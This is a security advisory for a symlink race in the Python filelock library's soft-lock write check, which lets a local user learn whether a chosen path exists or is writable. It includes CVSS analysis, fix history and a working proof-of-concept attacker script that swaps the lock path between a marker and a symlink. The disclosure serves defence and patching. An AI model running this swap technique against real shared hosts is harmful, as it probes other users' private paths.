| Package | Affected versions | Patched versions |
|---|---|---|
| filelock | ≥ 3.32.6, < 4.2.1 | 4.2.1 |
| filelock | ≥ 3.32.6, < 4.2.1 | 4.2.1 |
raise_on_not_writable_file() is the check that SoftFileLock and the locks sharing its acquire path run before every attempt. It looks at the lock path with os.lstat, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls os.access(filename, os.W_OK), which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-0466 file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's acquire() ends in PermissionError within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary Timeout otherwise.
That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, fs.protected_symlinks (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as /tmp. It does not block it in a 0777 directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.
Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:
ANT-2026-RQ91AXTW [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence.CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N scores 2.5 (Low).
AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:H (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. C:L (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. I:N and A:N (no integrity or availability impact). S:U (scope unchanged).
Classification from the review: security, conditional, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky /tmp case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.
SoftFileLock and everything that reuses its _acquire: MarkerSoftFileLock, SoftFileLease, the async soft locks, and FileLock after an ENOSYS fallback to a soft lock. UnixFileLock itself does not call the helper. WindowsFileLock._acquire() does, but on Windows os.access reads the link's own read-only attribute and does not follow it; that branch did not run.fs.protected_symlinks=1) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. /tmp therefore gives PermissionError for every target and leaks nothing. A 0777 directory without the sticky bit, or a sticky group-writable one (1770 with a shared group), has no such cover and leaks as described. macOS and the BSDs have no fs.protected_symlinks, and a symlink there has mode bits of its own, so one without the owner-write bit would reach os.access with no swap at all (not executed).PermissionError ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode 0o066, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone.O_NOFOLLOW open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.Scanned commit b831496b0273: in raise_on_not_writable_file, the os.lstat that states the invariant and the os.access call that follows symlinks; the call from SoftFileLock._acquire at the start of every poll.
f2f7b86 "fix: respect ACL write access when the owner write bit is absent" (#728, 2026-09-08), first tag 3.32.6 (verified), appended the os.access call to the not S_IWUSR test. #567 (022394c, first tag 3.29.5) had changed the helper from os.stat to os.lstat so that a symlink planted at the lock path could not probe its target.
SoftFileLock._acquire calls the helper first, once per poll_interval (0.05 s by default) for as long as the lock user waits. The helper runs os.lstat(path). When the node has no S_IWUSR it runs os.access(path, os.W_OK, effective_ids=...) without follow_symlinks=False. On current Linux that is faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS), which resolves a symlink. If that returns false, a second os.lstat confirms a node is still there and the helper raises PermissionError. The other user's planted file has mode 0466: no owner-write bit, which sends the helper on to os.access, and other-writable, so that os.access on the file itself says yes. The other user alternates the file and a symlink at the path (os.replace of a fresh symlink, then os.replace of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).
One call of the helper then goes one of three ways. First, lstat sees the symlink (mode 0777 on Linux, S_IWUSR set), os.access is not called, the helper returns. Second, lstat sees the file and os.access sees the file: true, returns. Third, lstat sees the file and os.access sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises PermissionError. After a return, the O_CREAT | O_EXCL | O_NOFOLLOW open fails with EEXIST and the poll ends as "lock is held". PermissionError therefore comes only from the third way and only for a target the lock user cannot write, and it leaves acquire() at once instead of after the timeout.
The scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as victim (uid 1000, 0700 private directory). An existing file or directory of victim: 0 PermissionError. A missing name there gives 311 to 339. A 0444 file of victim: 433 to 460. /etc/passwd or /etc/shadow: 237 to 422. With root taking the lock the answer is plain existence, 0 for /etc/shadow and /root/.bashrc, 366 for a missing name under /root. A symlink alone at the path, without the swap, tells nothing (2 000 Timeout of 2 000 for both targets, then evicted as malformed after 2 s).
The scanner's reproducer for ANT-2026-RQ91AXTW, quoted as received. It ran against commit b831496b0273.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time
VICTIM_JOB = "/tmp/repro.d/victim_job.py"
ATTACKER = "/tmp/repro.d/attacker_swaps_lock_path.py"
private_dir = "/tmp/victim-private"
shared_dir = "/tmp/team-locks"
lock_path = shared_dir + "/app.lock"
as_victim = dict(user="victim", group="victim", extra_groups=[])
as_attacker = dict(user="attacker", group="attacker", extra_groups=[])
assert len(os.sched_getaffinity(0)) >= 2, "the attacker's swap needs a CPU of its own"
# set up: victim's 0700 directory holds "present" and no "absent"
shutil.rmtree(private_dir, ignore_errors=True)
os.mkdir(private_dir, 0o700)
open(private_dir + "/present", "w").close()
shutil.chown(private_dir + "/present", "victim", "victim")
shutil.chown(private_dir, "victim", "victim")
job_ended_with = {}
for name in ("present", "absent"):
probed_path = f"{private_dir}/{name}"
attackers_stat = subprocess.run(["stat", probed_path], capture_output=True, text=True, **as_attacker)
assert attackers_stat.returncode != 0, "attacker can stat the probed path directly"
print(f"CONTROL attacker's own look: {attackers_stat.stderr.strip()}")
# 0777 without the sticky bit: fs.protected_symlinks does not cover it
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)
# attack: the lock path keeps alternating between a held marker and a symlink to probed_path
attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)
deadline = time.monotonic() + 10
while not os.path.lexists(lock_path):
assert time.monotonic() < deadline, "attacker did not plant the lock path"
time.sleep(0.01)
started = time.monotonic()
job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)
waited = time.monotonic() - started
attacker.kill()
attacker.wait()
job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1] # last line of the traceback
print(f"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); "
f"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}")
# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart
timeout_where_present = job_ended_with["present"].startswith("filelock._error.Timeout:")
permission_error_where_absent = job_ended_with["absent"].startswith("PermissionError:")
print("BUG" if timeout_where_present and permission_error_where_absent else "OK")
repro.d/attacker_swaps_lock_path.py
#!/usr/bin/env python3
import os
import sys
import time
lock_path, probed_path = sys.argv[1], sys.argv[2]
held_marker = lock_path + ".held"
staged = lock_path + ".staged"
with open(held_marker, "w") as marker:
marker.write("1\nanother-host\n") # pid 1 on another host: never judged stale, so the victim keeps polling
# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself
os.chmod(held_marker, 0o466)
give_up_at = time.monotonic() + 60
while time.monotonic() < give_up_at:
# a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker
os.symlink(probed_path, staged)
os.replace(staged, lock_path)
os.link(held_marker, staged)
os.replace(staged, lock_path)
repro.d/victim_job.py
#!/usr/bin/env python3
import sys
from filelock import SoftFileLock
with SoftFileLock(sys.argv[1], timeout=5):
print("working under the lock")
sequenceDiagram
participant A as other account (second CPU)
participant L as app.lock in a 0777 non-sticky directory
participant V as lock user: SoftFileLock(path, timeout=5)
participant P as /home/victim/private (0700)
A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)
loop every few microseconds
A->>L: os.replace(fresh symlink -> /home/victim/private/absent)
A->>L: os.replace(hard link to the 0466 marker)
end
loop every poll_interval (0.05 s)
V->>L: os.lstat -> regular file, no S_IWUSR
rect rgb(255, 214, 214)
V->>L: os.access(path, W_OK) lands on the symlink
L->>P: resolved to /home/victim/private/absent with the lock user's permissions
P-->>V: False (missing)
V->>L: os.lstat -> a node is there
V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s
end
end
A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)
The scanner reproducer runs with victim uid 1000 owning /tmp/victim-private mode 0700 holding present and not absent; attacker uid 1001, no shared group; lock directory /tmp/team-locks root-owned 0777 without the sticky bit; fs.protected_symlinks=1; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied and then OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout .... For the other target it printed CONTROL ... '/tmp/victim-private/absent': Permission denied and OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock', then BUG. The verdict requires the job for present to end in Timeout and the job for absent in PermissionError. In 40 runs a blocking acquire met its first PermissionError after 0.1 to 0.7 s.
In the maintainers' triage the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and checked on macOS that os.access there supports follow_symlinks, relevant to the platform note above.
A local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a 0700 home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same PermissionError as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early PermissionError is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.
fs.protected_symlinks=1 (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing.os.access branch is not reached for the lock user's own marker. The other user's planted 0466 file still reaches it, so this only narrows the window.4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
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